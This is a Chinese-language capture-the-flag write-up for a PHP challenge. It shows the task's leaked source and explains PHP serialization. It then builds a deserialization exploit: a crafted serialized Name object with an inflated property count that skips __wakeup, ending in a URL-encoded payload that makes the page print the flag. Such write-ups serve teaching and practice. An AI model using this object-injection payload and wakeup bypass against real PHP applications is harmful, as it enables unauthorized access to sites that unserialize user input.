[極客大挑戰 2019]PHP
題目上說有備份的好習慣,掃描目錄得到www.zip
幾個重要php檔案內容:
index.php
1 <?php 2 include 'class.php'; 3 $select = $_GET['select']; 4 $res=unserialize(@$select); 5 ?>
程式碼第4行unserialize可能存在反序列化漏洞
class.php
1 <?php 2 include 'flag.php'; 3 error_reporting(0); 4 class Name{ 5 private $username = 'nonono';6 private $password = 'yesyes'; 7 8 public function __construct($username,$password){ 9 $this->username = $username; 10 $this->password = $password; 11 } 12 13 function __wakeup(){ 14 $this->username = 'guest'; 15 } 16 17 function __destruct(){18 if ($this->password != 100) { 19 echo "</br>NO!!!hacker!!!</br>"; 20 echo "You name is: "; 21 echo $this->username;echo "</br>"; 22 echo "You password is: "; 23 echo $this->password;echo "</br>"; 24 die(); 25 } 26 if ($this->username === 'admin') { 27 global $flag; 28 echo $flag; 29 }else{ 30 echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; 31 die(); 32 } 33 } 34 } 35 ?>
程式碼第26行如果username為admin便輸出flag,從__destruct,__construct,__wakeup可以判斷存在反序列化漏洞
php序列化與反序列化
序列化:函式為serialize(),把複雜的資料型別壓縮到一個字串中 資料型別可以是陣列,字串,物件等
反序列化:函式為unserialize(),將字串轉換成變數或物件的過程
常用的內建方法:
__construct():建立物件時初始化,當一個物件建立時被呼叫
__wakeup() 使用unserialize時觸發
__sleep() 使用serialize時觸發
__destruction():結束時銷燬物件,當一個物件銷燬時被呼叫
我們需要將Name類序列化的結果輸出
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a = new Name('admin',100); $b = serialize($a); echo $b;
輸出結果為
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
輸出結果中Name和username,Name和password之間是有不可見字元的,因為private 宣告的欄位為私有欄位,只在所宣告的類中可見,在該類的子類和該類的物件例項中均不可見。因此私有欄位的欄位名在序列化時,類名和欄位名前面都會加上ascii為0的字元(不可見字元)
另外我們還需要繞過__wakeup方法
在反序列化字串時,屬性個數的值大於實際屬性個數時,會跳過 __wakeup()函式的執行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
繞過:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
所以payload為:
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}